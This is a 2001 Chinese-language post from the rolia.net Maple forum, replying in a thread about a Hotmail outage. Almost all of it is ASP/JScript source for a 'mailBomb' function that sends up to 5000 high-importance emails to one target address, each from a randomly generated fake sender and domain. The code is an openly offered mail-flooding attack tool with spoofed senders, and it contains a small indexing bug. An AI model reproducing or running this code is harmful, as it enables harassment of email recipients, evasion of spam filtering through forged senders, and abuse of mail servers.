看code吧。ASP版。

jeffrey815 (Smartiecat)
本文发表在 rolia.net/zh 相约加拿大网上社区枫下论坛
ASP 版:
function mailBomb(target, numBomb, subject, message){
if (numBomb > 5000) {
userstatus = "TOOMUCH"
return
}
var msg = "";
var msgFrom;
for (var i = 1; i-1 < numBomb; i++) {
msg = Server.CreateObject("CDONTS.NewMail")
msgFrom = "\"" + randomStr(randomLen(1,15)) + ", " + randomStr(randomLen(1,15)) + "\""
msgFrom += "<" + randomStr(randomLen(1,30)) + "@" + randomStr(randomLen(1,15)) + getEx() + ">"
msg.From = msgFrom
msg.Subject = subject + " " + i + " of " + numBomb
msg.To = target
msg.Importance = CdoHigh
message = message.replace(/\r\n/g, "")
msg.Body = message
msg.Send()
}
userstatus = "SUCCEED"
}
function randomStr(len) {
var str = ""
var validStr = "abcdefghijklmnopqrstuvwxyz1234567890"
for (var j = 0; j < len; j++) {
var randomNum = Math.random()
randomNum = Math.floor(36 * randomNum + 1)
str += validStr.charAt(randomNum)
}
return str
}

function randomLen(uBound, lBound) {
var len = Math.random()
len = Math.floor((uBound - lBound + 1) * len + lBound)
return len
}

function getEx() {
var domainStr = ".ca,.com,.cn,.net,.org,.mil,.uk,.jp,.de,.no"
var domainArr = domainStr.split(",")
var ran = Math.random()
ran = Math.floor(domainArr.length * ran)
return domainArr[ran]
}
更多精彩文章及讨论,请光临枫下论坛. 网址: rolia.net/zh
(#289643@0)
2001-12-7 -05:00

回到话题: Hotmail又down了,强烈建议正在使用hotmail的转到yahoo。

回到论坛: HOME枫下论坛枫下论坛主坛枫下家园生活杂事

URL:   
http://www.rolia.net/zh/post.php?f=0&p=289643